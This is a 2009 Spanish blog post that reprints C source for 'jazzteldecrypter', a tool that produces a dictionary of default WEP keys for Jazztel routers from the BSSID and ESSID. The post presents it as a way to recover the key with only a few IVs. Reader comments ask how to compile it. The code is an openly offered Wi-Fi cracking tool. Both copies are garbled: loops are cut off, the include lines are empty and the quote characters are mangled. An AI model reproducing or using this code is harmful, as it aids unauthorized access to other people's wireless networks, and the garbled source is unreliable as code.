Desencriptar WIFIS Jazztel
Después del día que me he pegado hoy reconfigurando firewalls, routers, switches y la forma de ver las cosas con más calma, me he encontrado este código que proviene del de nilp0inter.
#include #include #include // // Numero de modelos de routers en la base de datos // #define MAXROUTER 12 #define MAXINDEX 1 #define VERSION 0 #define SUBVERSION 0 // // Tipo de dato Router, con toda la informacion // typedef struct Router { char bssid[9]; char init[MAXINDEX][8]; char notas[30]; } tRouter; // // Variables globales // char hex[16]="0123456789ABCDEF"; // // Funciones // void initRouters(tRouter routers[MAXROUTER]); void datosRouters(tRouter routers[MAXROUTER]); void muestraAyuda(); int buscaBssid(tRouter routers[MAXROUTER], char *bssid); void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd); // // MAIN !!! // int main(int argc, char *argv[]) { int bssidId, i; int validHex=0; char endKey[2]; tRouter routers[MAXROUTER]; FILE *fichero; if(argc<3 || argc>4) { muestraAyuda(); return 1; } fprintf(stderr, "njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6n", VERSION, SUBVERSION); if(strlen(argv[1])!=17) { fprintf(stderr," [-] Longitud de BSSID invalidan"); return 1; } initRouters(routers); datosRouters(routers); bssidId=buscaBssid(routers, argv[1]); if(bssidId==-1) { fprintf(stderr, " [-] BSSID no encontradon"); return 1; } else { fprintf(stderr, " [+] BSSID: %sn" " [+] Modelo: %sn", argv[1], routers[bssidId].notas); for(i=0;i3) // Fichero { fprintf(stderr," [+] Fichero de claves: %sn", argv[3]); fichero=fopen(argv[3], "a+"); if(fichero!=NULL) { imprimeClaves(fichero,routers,bssidId,endKey); fclose(fichero); fprintf(stderr, " [+] Fichero guardadon"); } else { fprintf(stderr," [-] Error al abrir el ficheron"); return 1; } } else { fprintf(stderr," [+] Seleccionada salida estandarn"); imprimeClaves(stdout,routers,bssidId,endKey); } } } } return 0; } // // Vacia la estructura routers // void initRouters(tRouter routers[MAXROUTER]) { int i,j; for(j=0;j [output file]nn"); } // // Busca el bssid en la estructura y devuelve el identificador o // -1 si no existe // int buscaBssid(tRouter routers[MAXROUTER], char *bssid) { int i; for(i=0;i argv[2][i]=toupper(argv[2][i]);
if(strlen(argv[2]) != 10 || strncmp(“JAZZTEL_”, argv[2], != 0 )
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
for(i=0;i
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}
if(validHex!=2)
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];
fprintf(stderr,” [+] ESSID: %s\n”, argv[2]);
if(argc>3) // Fichero
{
fprintf(stderr,” [+] Fichero de claves: %s\n”, argv[3]);
fichero=fopen(argv[3], “a+”);
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, ” [+] Fichero guardado\n”);
}
else
{
fprintf(stderr,” [-] Error al abrir el fichero\n”);
return 1;
}
}
else
{
fprintf(stderr,” [+] Seleccionada salida estandar\n”);
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}
}
return 0;
}
//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j
{
strcpy(routers[j].bssid,”");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],”");
strcpy(routers[j].notas,”");
}
}
//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,”00:1A:2B\0″);
strcpy(routers[i].init[0],”E001D20\0″);
strcpy(routers[i].notas,”Comtrend\0″);
i++;
}
//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, “\njazzteldecrypter %i.%i – (c) 2008 nilp0inter2k6\n”, VERSION, SUBVERSION);
fprintf(stderr, ” uso: jazzteldecrypter [output file]\n\n”);
}
//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;
for(i=0;i
bssid[i]=toupper(bssid[i]);
for(i=0;i
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}
return -1;
}
//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;
while(index
{
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++)
{
fprintf(fichero, “%s%c%c%c%c%c%c\n”,routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
}
index++;
}
}
Con esto lo que creamos es un diccionario para encontrar la clave WEP con un mínimo de iv's (5 en concreto).
Espero que lo disfruteis.



















May 16th, 2009 at 12:21
Tiene muy buena pinta, pero como se usa exactamente??
(Creo que hay que usarlo desde el cmd, con el comando cd ir hasta el directorio, pero no se que comando usar…)
May 23rd, 2009 at 13:11
Lo primero que necesitas es tener un compilador de C, para poder ejecutar dicho código desde la consola.
Una vez lo tengas compilado es solo lanzarlo desde la consola.
May 25th, 2009 at 12:54
Perdona pero el código está cortado, no acaba, ¿puedes completarlo? Gracias
May 26th, 2009 at 21:34
Ya lo tienes completo
June 8th, 2009 at 13:07
Hola muy buenas.
Tiene buena pinta el codigo, pero al principio de todo no aparecen las librerias no?
#include ¿?
Si debe ser asi o lo dejan en blanco para que tu las indiques, es decir si es una pregunta estupida disculpen mi ignorancia, es que la programacion no es lo mio.
Un saludo